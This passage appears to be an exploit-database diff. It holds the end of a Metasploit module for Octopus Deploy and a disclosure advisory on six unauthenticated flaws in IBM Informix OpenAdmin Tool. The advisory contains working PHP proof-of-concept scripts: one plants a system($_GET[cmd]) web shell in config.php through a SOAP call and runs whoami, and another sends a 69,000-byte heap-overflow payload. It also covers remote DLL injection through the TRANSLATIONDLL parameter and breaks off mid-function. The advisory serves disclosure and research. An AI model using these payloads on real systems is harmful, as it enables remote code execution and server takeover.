|
step = {
|
||||||
|
'Name' => step_name,
|
||||||
|
'Environments' => [],
|
||||||
|
'Channels' => [],
|
||||||
|
'TenantTags' => [],
|
||||||
|
'Properties' => { 'Octopus.Action.TargetRoles' => '' },
|
||||||
|
'Condition' => 'Always',
|
||||||
|
'StartTrigger' => 'StartWithPrevious',
|
||||||
|
'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]
|
||||||
|
}
|
||||||
|
step
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_octopus_get_request(session, path, nice_name = '')
|
||||||
|
request_path = normalize_uri(datastore['PATH'], path)
|
||||||
|
headers = create_request_headers(session)
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => request_path,
|
||||||
|
'headers' => headers,
|
||||||
|
'SSL' => ssl
|
||||||
|
)
|
||||||
|
check_result_status(res, request_path, nice_name)
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_octopus_post_request(session, path, nice_name, data)
|
||||||
|
res = send_octopus_data_request(session, path, data, 'POST')
|
||||||
|
check_result_status(res, path, nice_name)
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_octopus_put_request(session, path, nice_name, data)
|
||||||
|
res = send_octopus_data_request(session, path, data, 'PUT')
|
||||||
|
check_result_status(res, path, nice_name)
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_octopus_data_request(session, path, data, method)
|
||||||
|
request_path = normalize_uri(datastore['PATH'], path)
|
||||||
|
headers = create_request_headers(session)
|
||||||
|
headers['Content-Type'] = 'application/json'
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => method,
|
||||||
|
'uri' => request_path,
|
||||||
|
'headers' => headers,
|
||||||
|
'data' => data,
|
||||||
|
'SSL' => ssl
|
||||||
|
)
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_result_status(res, request_path, nice_name)
|
||||||
|
if !res || res.code < 200 || res.code >= 300
|
||||||
|
req_name = nice_name || 'Request'
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_request_headers(session)
|
||||||
|
headers = {}
|
||||||
|
if session.blank?
|
||||||
|
headers['X-Octopus-ApiKey'] = datastore['APIKEY']
|
||||||
|
else
|
||||||
|
headers['Cookie'] = session
|
||||||
|
headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')
|
||||||
|
end
|
||||||
|
headers
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_csrf_token(session, csrf_cookie)
|
||||||
|
key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
|
||||||
|
key_vals.each do |name, value|
|
||||||
|
return value if name.starts_with?(csrf_cookie)
|
||||||
|
end
|
||||||
|
fail_with(Failure::Unknown, 'CSRF token not found')
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_json_response(res)
|
||||||
|
begin
|
||||||
|
json = JSON.parse(res.body)
|
||||||
|
return json
|
||||||
|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::Unknown, 'Failed to parse response json')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_octopus_session
|
||||||
|
res = do_login
|
||||||
|
if res && res.code == 404
|
||||||
|
fail_with(Failure::BadConfig, 'Incorrect path')
|
||||||
|
elsif !res || (res.code != 200)
|
||||||
|
fail_with(Failure::NoAccess, 'Could not initiate session')
|
||||||
|
end
|
||||||
|
res.get_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login
|
||||||
|
json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })
|
||||||
|
path = normalize_uri(datastore['PATH'], '/api/users/login')
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => path,
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => json_post_data,
|
||||||
|
'SSL' => ssl
|
||||||
|
)
|
||||||
|
|
||||||
|
if !res || (res.code != 200)
|
||||||
|
print_error("Login failed")
|
||||||
|
elsif res.code == 200
|
||||||
|
report_octopusdeploy_credential
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_api_key
|
||||||
|
headers = {}
|
||||||
|
headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''
|
||||||
|
path = normalize_uri(datastore['PATH'], '/api/serverstatus')
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => path,
|
||||||
|
'headers' => headers,
|
||||||
|
'SSL' => ssl
|
||||||
|
)
|
||||||
|
|
||||||
|
print_error("Login failed") if !res || (res.code != 200)
|
||||||
|
|
||||||
|
vprint_status(res.body)
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_octopusdeploy_credential
|
||||||
|
service_data = {
|
||||||
|
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
service_name: (ssl ? "https" : "http"),
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
private_type: :password,
|
||||||
|
private_data: datastore['PASSWORD'].downcase,
|
||||||
|
username: datastore['USERNAME']
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
access_level: 'Admin',
|
||||||
|
core: credential_core,
|
||||||
|
last_attempted_at: DateTime.now,
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
|
}
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
end
|
968
platforms/windows/webapps/42091.txt
Executable file
968
platforms/windows/webapps/42091.txt
Executable file
|
@ -0,0 +1,968 @@
|
||||||
|
Vulnerabilities Summary
|
||||||
|
The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.
|
||||||
|
|
||||||
|
IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.
|
||||||
|
|
||||||
|
IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools.
|
||||||
|
|
||||||
|
Vulnerabilities:
|
||||||
|
|
||||||
|
Unauthentication static PHP code injection that leads to remote code execution
|
||||||
|
Heap buffer overflow
|
||||||
|
Remote DLL Injection that leads to remote code execution (1)
|
||||||
|
Remote DLL Injection that leads to remote code execution (2)
|
||||||
|
Remote DLL Injection that leads to remote code execution (3)
|
||||||
|
Remote DLL Injection that leads to remote code execution (4)
|
||||||
|
Credit
|
||||||
|
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
|
||||||
|
|
||||||
|
Vendor response
|
||||||
|
IBM has released patches to address those vulnerabilities and issued the following CVE’s:
|
||||||
|
|
||||||
|
CVE-2016-2183
|
||||||
|
CVE-2017-1092
|
||||||
|
For more Information – http://www-01.ibm.com/support/docview.wss?uid=swg22002897
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerabilities Details
|
||||||
|
IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service (“Apache_for_OAT”) which listens on public port 8080 (tcp/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITY\SYSTEM privileges.
|
||||||
|
|
||||||
|
Unauthentication static PHP code injection that leads to remote code execution
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking welcomeService.php which offers a SOAP interface.
|
||||||
|
|
||||||
|
The welcomeServer.php class suffers of a static PHP code injection into the “saveHomePage” method. Arbitrary code can be injected into ‘config.php‘, which is accessible to remote users. Given this, a remote attacker could execute arbitrary code/commands with the privileges of the target service.
|
||||||
|
|
||||||
|
Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeService.php
|
||||||
|
|
||||||
|
...
|
||||||
|
<?php
|
||||||
|
[..]
|
||||||
|
|
||||||
|
$ini = ini_set("soap.wsdl_cache_enabled","0");
|
||||||
|
|
||||||
|
require_once("welcomeServer.php");
|
||||||
|
|
||||||
|
$server = new SoapServer("welcome.wsdl");
|
||||||
|
$server->setClass("welcomeServer");
|
||||||
|
if (isset($HTTP_RAW_POST_DATA))
|
||||||
|
{
|
||||||
|
$request = $HTTP_RAW_POST_DATA;
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
$request = file_get_contents('php://input');
|
||||||
|
}
|
||||||
|
|
||||||
|
$server->handle($request);
|
||||||
|
?>
|
||||||
|
...
|
||||||
|
|
||||||
|
If we will look into saveHomePage() method inside
|
||||||
|
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeServer.php:
|
||||||
|
|
||||||
|
...
|
||||||
|
/**
|
||||||
|
* Save the selected home page in the config.php file.
|
||||||
|
*/
|
||||||
|
public function saveHomePage ($new_home_page) <---------------------------------------
|
||||||
|
{
|
||||||
|
$this->idsadmin->load_lang("admin");
|
||||||
|
$conf_vars = $this->idsadmin->get_config("*");
|
||||||
|
|
||||||
|
// create backup of config file
|
||||||
|
$src=$conf_vars['HOMEDIR']."/conf/config.php";
|
||||||
|
$dest=$conf_vars['HOMEDIR']."/conf/BAKconfig.php";
|
||||||
|
copy($src,$dest);
|
||||||
|
|
||||||
|
// open the config file
|
||||||
|
if (! is_writable($src))
|
||||||
|
{
|
||||||
|
trigger_error($this->idsadmin->lang("SaveCfgFailure"). " $src");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$fd = fopen($src,'w+'); <------------------------------ [*]
|
||||||
|
// write out the config
|
||||||
|
fputs($fd,"<?php \n");
|
||||||
|
foreach ($conf_vars as $k => $v)
|
||||||
|
{
|
||||||
|
if ($k == "HOMEPAGE")
|
||||||
|
{
|
||||||
|
$v = $new_home_page; <----------------------------------- [**]
|
||||||
|
}
|
||||||
|
else if ($k == "CONNDBDIR" || $k == "HOMEDIR")
|
||||||
|
{
|
||||||
|
// Replace backslashes in paths with forward slashes
|
||||||
|
$this->idsadmin->in[$k] = str_replace('\\', '/', $this->idsadmin->in[$k]);
|
||||||
|
/* idsdb00494581: An extra '"' gets written to $CONF['CONNDBDIR'] in config.php
|
||||||
|
* silent install in /vobs/idsadmin/idsadmin/install/index.php:saveDefaultConfig() writes the above line
|
||||||
|
* based on $conndbdir = addslashes(substr(@$_SERVER['argv'][3],11)); TODO: fix the initial writing into config.php (Windows only issue)
|
||||||
|
*/
|
||||||
|
if ($v[strlen($v)-1] == '"') {
|
||||||
|
$v = substr($v, 0, -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$out = "\$CONF['{$k}']=\"{$v}\";#{$this->idsadmin->lang($k)}\n"; <--------------------------- [***]
|
||||||
|
fputs($fd,$out); <-------------------------------------- [****]
|
||||||
|
}
|
||||||
|
fputs($fd,"?>\n");
|
||||||
|
fclose($fd);
|
||||||
|
|
||||||
|
return $new_home_page;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
Note that $new_home_page is the unique parameter of a SOAP request and it is controlled;
|
||||||
|
|
||||||
|
The resulting file could look like this:
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
<?php
|
||||||
|
$CONF['LANG']="en_US";#The default language for the OAT pages.
|
||||||
|
$CONF['BASEURL']="http://WIN-PF2VMDT4MVO:8080/openadmin";#The URL where OAT is installed in this format: http://servername:port/location.
|
||||||
|
$CONF['HOMEDIR']="C:/Program Files (x86)/IBM Informix Software Bundle/OAT/Apache_2.2.22/htdocs/openadmin/";#The directory for the OAT installation.
|
||||||
|
$CONF['CONNDBDIR']="C:\Program Files (x86)\IBM Informix Software Bundle\OAT\OAT_conf";#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.
|
||||||
|
$CONF['HOMEPAGE']="";system($_GET[cmd]);//";#The page to use as the OAT home page.
|
||||||
|
$CONF['PINGINTERVAL']="300";#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center > Dashboard > Group Summary page.
|
||||||
|
$CONF['ROWSPERPAGE']="25";#The default number of rows per page to display when data is shown in a table format.
|
||||||
|
$CONF['SECURESQL']="on";#Require login credentials for the SQL ToolBox.
|
||||||
|
$CONF['INFORMIXCONTIME']="20";#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error (INFORMIXCONTIME).
|
||||||
|
$CONF['INFORMIXCONRETRY']="3";#The number of times that OAT attempts to connect to the database server during the Informix connect time (INFORMIXCONRETRY).
|
||||||
|
$CONF['INFORMIXDIR']="C:\Program Files (x86)\IBM Informix Software Bundle";#MISSING LANG FILE ITEM INFORMIXDIR
|
||||||
|
?>
|
||||||
|
...
|
||||||
|
|
||||||
|
config.php is not protected so we can execute system() through a GET request.
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
error_reporting(0);
|
||||||
|
$host = $argv[1];
|
||||||
|
$port = 8080;
|
||||||
|
|
||||||
|
$shell = htmlentities("\";system(\$_GET[cmd]);//");
|
||||||
|
|
||||||
|
$data='
|
||||||
|
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Welcome">
|
||||||
|
<soapenv:Header/>
|
||||||
|
<soapenv:Body>
|
||||||
|
<urn:saveHomePage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||||
|
<new_home_page xsi:type="xsd:string">'.$shell.'</new_home_page>
|
||||||
|
</urn:saveHomePage>
|
||||||
|
</soapenv:Body>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
';
|
||||||
|
$pk="POST /openadmin/services/welcome/welcomeService.php HTTP/1.1\r\n".
|
||||||
|
"Host: ".$host."\r\n".
|
||||||
|
"Content-Type: text/xml;charset=UTF-8
|
||||||
|
\r\n".
|
||||||
|
"Content-Length: ".strlen($data)."\r\n".
|
||||||
|
"SOAPAction: \"urn:QBEAction\"\r\n".
|
||||||
|
"Connection: Close\r\n\r\n".
|
||||||
|
$data;
|
||||||
|
|
||||||
|
$fp = fsockopen($host,$port,$e,$err,5);
|
||||||
|
|
||||||
|
fputs($fp,$pk);
|
||||||
|
$out="";
|
||||||
|
while (!feof($fp)){
|
||||||
|
$out.=fread($fp,1);
|
||||||
|
}
|
||||||
|
fclose($fp);
|
||||||
|
//echo $out."\n";
|
||||||
|
|
||||||
|
$pk="GET /openadmin/conf/config.php?cmd=whoami HTTP/1.0\r\n".
|
||||||
|
"Host: ".$host."\r\n".
|
||||||
|
"Connection: Close\r\n\r\n";
|
||||||
|
|
||||||
|
$fp = fsockopen($host,$port,$e,$err,5);
|
||||||
|
|
||||||
|
fputs($fp,$pk);
|
||||||
|
$out="";
|
||||||
|
while (!feof($fp)){
|
||||||
|
$out.=fread($fp,1);
|
||||||
|
}
|
||||||
|
fclose($fp);
|
||||||
|
echo $out."\n";
|
||||||
|
?>
|
||||||
|
|
||||||
|
Heap buffer overflow
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication heap buffer overflow. By submitting connection parameters to index.php, through the ‘server’ property, it is possible to trigger a heap buffer overflow vulnerability into the underlying PHP Informix extension (php_pdo_informix.dll).
|
||||||
|
|
||||||
|
When attaching WinDbg to the httpd.exe sub-process, it shows:
|
||||||
|
|
||||||
|
(1580.68c): Access violation - code c0000005 (first chance)
|
||||||
|
First chance exceptions are reported before any exception handling.
|
||||||
|
This exception may be expected and handled.
|
||||||
|
eax=007b5360 ebx=04701bb0 ecx=007b5274 edx=00000276 esi=01010101 edi=046fe310
|
||||||
|
eip=007b14b5 esp=01f8f630 ebp=047677cc iopl=0 nv up ei pl zr na pe nc
|
||||||
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
|
||||||
|
php_pdo_informix+0x14b5:
|
||||||
|
007b14b5 894614 mov dword ptr [esi+14h],eax ds:002b:01010115=15ff012e
|
||||||
|
|
||||||
|
esi is controlled by the attacker and could be used to execute arbitrary code or to create denial of service conditions
|
||||||
|
|
||||||
|
0:002> lm vm php_pdo_informix
|
||||||
|
start end module name
|
||||||
|
014f0000 014fa000 php_pdo_informix (export symbols) C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
|
||||||
|
Loaded symbol image file: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
|
||||||
|
Image path: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
|
||||||
|
Image name: php_pdo_informix.dll
|
||||||
|
Timestamp: Mon Jun 15 17:13:57 2009 (4A36E3C5)
|
||||||
|
CheckSum: 00015E71
|
||||||
|
ImageSize: 0000A000
|
||||||
|
File version: 5.2.4.4
|
||||||
|
Product version: 5.2.4.0
|
||||||
|
File flags: 0 (Mask 3F)
|
||||||
|
File OS: 4 Unknown Win32
|
||||||
|
File type: 2.0 Dll
|
||||||
|
File date: 00000000.00000000
|
||||||
|
Translations: 0409.04b0
|
||||||
|
CompanyName: The PHP Group
|
||||||
|
ProductName: PHP php_pdo_informix.dll
|
||||||
|
InternalName: php_pdo_informix.dll
|
||||||
|
OriginalFilename: php_pdo_informix.dll
|
||||||
|
ProductVersion: 5.2.4
|
||||||
|
FileVersion: 5.2.4.4
|
||||||
|
PrivateBuild: 5.2.4.4
|
||||||
|
SpecialBuild: 5.2.4.4
|
||||||
|
FileDescription: pdo_informix
|
||||||
|
LegalCopyright: Copyright © 1997-2007 The PHP Group
|
||||||
|
LegalTrademarks: PHP
|
||||||
|
Comments: Thanks to Rick McGuire, Dan Scott, Krishna Raman, Kellen Bombardier
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
|
||||||
|
<?php
|
||||||
|
/*
|
||||||
|
example connection string:
|
||||||
|
informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]
|
||||||
|
*/
|
||||||
|
|
||||||
|
error_reporting(0);
|
||||||
|
$host = $argv[1];
|
||||||
|
$port = 8080;
|
||||||
|
|
||||||
|
$data="PASSWORD=*&USERNAME=*&SERVER=".str_repeat("\x01",69000)."&HOST=127.0.0.1&PORT=7360&IDSPROTOCOL=onsoctcp&TENANT_DBOWNER=&TENANT_DBNAME=";
|
||||||
|
$pk="POST /openadmin/index.php?act=login&do=testconn HTTP/1.1\r\n".
|
||||||
|
"Host: ".$host."\r\n".
|
||||||
|
"Content-Type: application/x-www-form-urlencoded\r\n".
|
||||||
|
"Content-Length: ".strlen($data)."\r\n".
|
||||||
|
"Connection: Close\r\n\r\n".
|
||||||
|
$data;
|
||||||
|
|
||||||
|
$fp = fsockopen($host,$port,$e,$err,5);
|
||||||
|
fputs($fp,$pk);
|
||||||
|
$out="";
|
||||||
|
while (!feof($fp)){
|
||||||
|
$out.=fread($fp,1);
|
||||||
|
}
|
||||||
|
fclose($fp);
|
||||||
|
echo $out."\n";
|
||||||
|
?>
|
||||||
|
|
||||||
|
Remote DLL Injection that leads to remote code execution (1)
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.
|
||||||
|
|
||||||
|
by submitting connection parameters to index.php, setting the ‘act‘ parameter to ‘login‘ and the ‘do‘ one to ‘testconn‘, it is possible to inject arbitrary statements into a connection string for the underlying Informix database.
|
||||||
|
|
||||||
|
The __construct() method of the PDO_OAT.php library passing them to PDO::__construct() without prior sensitization
|
||||||
|
|
||||||
|
Given this it is possible to inject the “TRANSLATIONDLL” connection parameter and to point it to an arbitrary dll from a remote network share, prepared by the attacker. If the dll entry point contains malicious code, this will be executed instantly. This can be done ex. through the ‘HOST‘ parameter of a POST request.
|
||||||
|
|
||||||
|
Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\modules\login.php
|
||||||
|
|
||||||
|
...
|
||||||
|
function testconn($internal=false)
|
||||||
|
{
|
||||||
|
$state = 1;
|
||||||
|
$statemessage="Online";
|
||||||
|
|
||||||
|
$servername = $this->idsadmin->in['SERVER'];<-------------------------------------- [*]
|
||||||
|
$host = $this->idsadmin->in['HOST']; <------------------------------------------
|
||||||
|
$port = $this->idsadmin->in['PORT']; <-------------------------------------------
|
||||||
|
$protocol = $this->idsadmin->in['IDSPROTOCOL']; <------------------------------------
|
||||||
|
// The below distinction (sysmaster/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner's permissions are being verified.
|
||||||
|
// The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and <tenant_db>:sysusers) to check against sysusers on an ansi db
|
||||||
|
if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == true)) {
|
||||||
|
$dbname = "sysadmin";
|
||||||
|
} else {
|
||||||
|
$dbname = "sysmaster";
|
||||||
|
}
|
||||||
|
$user = $this->idsadmin->in['USERNAME']; <--------------------------------------
|
||||||
|
$passwd = $this->idsadmin->in['PASSWORD']; <----------------------------
|
||||||
|
$envvars = (isset($this->idsadmin->in['ENVVARS']))? $this->idsadmin->in['ENVVARS'] : null;
|
||||||
|
|
||||||
|
require_once (ROOT_PATH."lib/PDO_OAT.php");
|
||||||
|
try {
|
||||||
|
$tdb = new PDO_OAT($this->idsadmin,$servername,$host,$port,$protocol,$dbname,"",$envvars,$user,$passwd); <----------------------- [**]
|
||||||
|
} catch(PDOException $e) {
|
||||||
|
$message=preg_split("/:/",$e->getMessage());
|
||||||
|
$statemessage= $message[sizeof($message)-1];
|
||||||
|
$statemessage="{$this->idsadmin->lang('ConnectionFailed')} {$statemessage}";
|
||||||
|
$state=3;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == 'true'))
|
||||||
|
{
|
||||||
|
if ($state == 3) {
|
||||||
|
if ($internal) {
|
||||||
|
return $statemessage;
|
||||||
|
} else {
|
||||||
|
$tdb=null;
|
||||||
|
echo $statemessage;
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$sql = "SELECT COUNT(*) as nameexists "
|
||||||
|
. "FROM sysadmin:ph_allow_list al, {$this->idsadmin->in['TENANT_DBNAME']}:sysusers su "
|
||||||
|
. "WHERE al.name = '{$this->idsadmin->in['USERNAME']}' "
|
||||||
|
. "AND al.name = su.username "
|
||||||
|
. "AND su.usertype IN ('D','R') "
|
||||||
|
. "AND al.perm_list LIKE '%tenant%';";
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$stmt = $tdb->query($sql,false,true);
|
||||||
|
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
$err_code = $e->getCode();
|
||||||
|
$err_msg = $e->getMessage();
|
||||||
|
$statemessage = "{$this->idsadmin->lang('ConnectionFailed')} {$err_code}:{$err_msg}";
|
||||||
|
if ($internal) {
|
||||||
|
return $statemessage;
|
||||||
|
} else {
|
||||||
|
$tdb=null;
|
||||||
|
echo $statemessage;
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$row = $stmt->fetch();
|
||||||
|
$stmt->closeCursor();
|
||||||
|
|
||||||
|
if ( $row['NAMEEXISTS'] == 0 ) {
|
||||||
|
$statemessage = "{$this->idsadmin->lang('InsufficientPrivs')}";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($internal) {
|
||||||
|
return $statemessage;
|
||||||
|
} else {
|
||||||
|
$tdb=null;
|
||||||
|
echo $statemessage;
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$tdb=null;
|
||||||
|
echo $statemessage;
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
Let’s look into C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\PDO_OAT.php
|
||||||
|
|
||||||
|
...
|
||||||
|
function __construct(&$idsadmin,$servername,$host,$port,$protocol,$dbname="sysmaster",$locale="",$envvars=null,$username="",$password="")
|
||||||
|
{
|
||||||
|
$this->idsadmin=&$idsadmin;
|
||||||
|
$this->idsadmin->load_lang("database");
|
||||||
|
$this->dbname = $dbname;
|
||||||
|
$informixdir = $this->idsadmin->get_config("INFORMIXDIR");
|
||||||
|
|
||||||
|
$dsn = self::getDSN($servername,$host,$port,$protocol,$informixdir,$dbname,$locale,$envvars); <---------------------- [***]
|
||||||
|
|
||||||
|
putenv("INFORMIXCONTIME={$this->idsadmin->get_config("INFORMIXCONTIME",20)}");
|
||||||
|
putenv("INFORMIXCONRETRY={$this->idsadmin->get_config("INFORMIXCONRETRY",3)}");
|
||||||
|
|
||||||
|
parent::__construct($dsn,$username,utf8_decode($password)); <----------------------------------- [*****]
|
||||||
|
}
|
||||||
|
|
||||||
|
static function getDSN ($servername,$host,$port,$protocol,$informixdir,$dbname="sysmaster",$locale="",$envvars=null)
|
||||||
|
{
|
||||||
|
$dsn = "informix:host={$host}"; <------------------------------------ [****]
|
||||||
|
$dsn .= ";service={$port}";
|
||||||
|
$dsn .= ";database={$dbname}";
|
||||||
|
$dsn .= ";protocol={$protocol}";
|
||||||
|
$dsn .= ";server={$servername}";
|
||||||
|
|
||||||
|
if ( substr(PHP_OS,0,3) != "WIN" )
|
||||||
|
{
|
||||||
|
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
|
||||||
|
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
|
||||||
|
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!is_null($envvars) && $envvars != "" )
|
||||||
|
{
|
||||||
|
// add envvars to connection string
|
||||||
|
$dsn .= ";$envvars";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( $locale != "" )
|
||||||
|
{
|
||||||
|
// CLIENT_LOCALE should always be UTF-8 version of databse locale
|
||||||
|
$client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
|
||||||
|
$dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
|
||||||
|
}
|
||||||
|
|
||||||
|
return $dsn;
|
||||||
|
}
|
||||||
|
...
|
||||||
|
|
||||||
|
At [***] the getDSN() function is called
|
||||||
|
At [****] and following various parameters are concatenated into a connection string without prior sanitization and set to $dsn
|
||||||
|
At [*****] the resulting connection string it’s passed to PDO::__construct(), resulting in the dll to be loaded instantly.
|
||||||
|
|
||||||
|
Remote DLL Injection that leads to remote code execution (2)
|
||||||
|
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.
|
||||||
|
|
||||||
|
By submitting a SOAP request to oliteService.php, specifying ex. the ‘canConnectToIDS‘ method, it is possible to inject arbitrary parameters into a
|
||||||
|
database connection string for the underlying Informix database.
|
||||||
|
|
||||||
|
It is possible to inject ex. the ‘TRANSLATIONDLL‘ parameter and, if this parameter points to a dll into an existing remote network
|
||||||
|
share, the dll will be injected into the remote Apache process. If malicious code is contained into the dll entry point, this will
|
||||||
|
be executed instantly.
|
||||||
|
|
||||||
|
Vulnerable code is located inside the getDBConnection() function of the underlying oliteServer.php PHP class, where connection parameters are concatenated without prior sanitization.
|
||||||
|
|
||||||
|
Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteService.php
|
||||||
|
|
||||||
|
...
|
||||||
|
<?php
|
||||||
|
[..]
|
||||||
|
|
||||||
|
$ini = ini_set("soap.wsdl_cache_enabled","0");
|
||||||
|
|
||||||
|
require_once("oliteServer.php");
|
||||||
|
|
||||||
|
$server = new SoapServer("olite.wsdl");
|
||||||
|
$server->setClass("oliteServer");
|
||||||
|
if (isset($HTTP_RAW_POST_DATA))
|
||||||
|
{
|
||||||
|
$request = $HTTP_RAW_POST_DATA;
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
$request = file_get_contents('php://input');
|
||||||
|
}
|
||||||
|
|
||||||
|
$server->handle($request);
|
||||||
|
?>
|
||||||
|
...
|
||||||
|
|
||||||
|
The SOAP interface can be interrogated without prior authentication, Let’s take a look into ‘canConnectToIDS‘ method inside
|
||||||
|
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteServer.php
|
||||||
|
|
||||||
|
...
|
||||||
|
/**
|
||||||
|
* Verify that a connection to the server can be made.
|
||||||
|
* @return true if a new PDO can be created and server version is >= 11, false otherwise
|
||||||
|
*/
|
||||||
|
function canConnectToIDS($server, $host, $port, $protocol, $username, $password, $lang="en_US")
